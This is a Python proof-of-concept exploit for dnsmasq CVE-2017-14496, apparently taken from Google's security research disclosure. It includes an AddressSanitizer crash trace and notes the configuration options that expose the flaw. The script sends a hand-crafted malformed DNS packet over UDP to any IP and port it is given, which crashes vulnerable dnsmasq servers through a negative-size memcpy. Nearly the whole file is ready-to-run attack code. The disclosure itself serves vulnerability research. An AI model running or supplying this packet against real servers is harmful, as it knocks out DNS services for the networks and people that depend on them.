99 lines
No EOL
3.9 KiB
Python
Executable file
99 lines
No EOL
3.9 KiB
Python
Executable file
'''
|
|
Sources:
|
|
https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14496.py
|
|
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html
|
|
|
|
dnsmasq is vulnerable only if one of the following option is specified: --add-mac, --add-cpe-id or --add-subnet.
|
|
|
|
=================================================================
|
|
==2215==ERROR: AddressSanitizer: negative-size-param: (size=-4)
|
|
#0 0x4b55be in __asan_memcpy (/test/dnsmasq/src/dnsmasq+0x4b55be)
|
|
#1 0x59a70e in add_pseudoheader /test/dnsmasq/src/edns0.c:164:8
|
|
#2 0x59bae8 in add_edns0_config /test/dnsmasq/src/edns0.c:424:12
|
|
#3 0x530b6b in forward_query /test/dnsmasq/src/forward.c:407:20
|
|
#4 0x534699 in receive_query /test/dnsmasq/src/forward.c:1448:16
|
|
#5 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2
|
|
#6 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7
|
|
#7 0x7fb05e3cf2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
|
|
#8 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9)
|
|
|
|
0x62200001ca2e is located 302 bytes inside of 5131-byte region [0x62200001c900,0x62200001dd0b)
|
|
allocated by thread T0 here:
|
|
#0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700)
|
|
#1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15
|
|
#2 0x54186c in main /test/dnsmasq/src/dnsmasq.c:99:20
|
|
#3 0x7fb05e3cf2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
|
|
|
|
SUMMARY: AddressSanitizer: negative-size-param (/test/dnsmasq/src/dnsmasq+0x4b55be) in __asan_memcpy
|
|
==2215==ABORTING
|
|
'''
|
|
|
|
#!/usr/bin/python
|
|
#
|
|
# Copyright 2017 Google Inc
|
|
#
|
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
|
# you may not use this file except in compliance with the License.
|
|
# You may obtain a copy of the License at
|
|
#
|
|
# http://www.apache.org/licenses/LICENSE-2.0
|
|
#
|
|
# Unless required by applicable law or agreed to in writing, software
|
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
# See the License for the specific language governing permissions and
|
|
# limitations under the License.
|
|
#
|
|
# Authors:
|
|
# Fermin J. Serna <fjserna@google.com>
|
|
# Felix Wilhelm <fwilhelm@google.com>
|
|
# Gabriel Campana <gbrl@google.com>
|
|
# Kevin Hamacher <hamacher@google.com>
|
|
# Gynvael Coldwin <gynvael@google.com>
|
|
# Ron Bowes - Xoogler :/
|
|
|
|
import socket
|
|
import sys
|
|
|
|
def negative_size_param():
|
|
data = '''00 00 00 00 00 00 00 00 00 00 00 04
|
|
00 00 29 00 00 3a 00 00 00 01 13 fe 32 01 13 79
|
|
00 00 00 00 00 00 00 01 00 00 00 61 00 08 08 08
|
|
08 08 08 08 08 08 08 08 08 08 08 00 00 00 00 00
|
|
00 00 00 6f 29 fb ff ff ff 00 00 00 00 00 00 00
|
|
00 00 03 00 00 00 00 00 00 00 00 02 8d 00 00 00
|
|
f9 00 00 00 00 00 00 00 00 00 00 00 5c 00 00 00
|
|
01 ff ff 00 35 13 01 0d 06 1b 00 00 00 00 00 00
|
|
00 00 00 00 00 04 00 00 29 00 00 3a 00 00 00 01
|
|
13 00 08 01 00 00 00 00 00 00 01 00 00 00 61 00
|
|
08 08 08 08 08 08 08 08 08 13 08 08 08 00 00 00
|
|
00 00 00 00 00 00 6f 29 fb ff ff ff 00 29 00 00
|
|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|
00 00 02 8d 00 00 00 f9 00 00 00 00 00 00 00 00
|
|
00 00 00 00 00 01 00 00 00 00 00 00 01 ff ff 00
|
|
35 13 00 00 00 00 00 b6 00 00 13 00 00 00 00 00
|
|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 05
|
|
01 20 00 01
|
|
'''.replace(' ', '').replace('\n', '').decode('hex')
|
|
return data
|
|
|
|
if __name__ == '__main__':
|
|
if len(sys.argv) != 3:
|
|
print 'Usage: %s <ip> <port>' % sys.argv[0]
|
|
sys.exit(0)
|
|
|
|
ip = sys.argv[1]
|
|
port = int(sys.argv[2])
|
|
|
|
packet = negative_size_param()
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
s.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST, 1)
|
|
s.sendto(packet, (ip, port))
|
|
s.close() |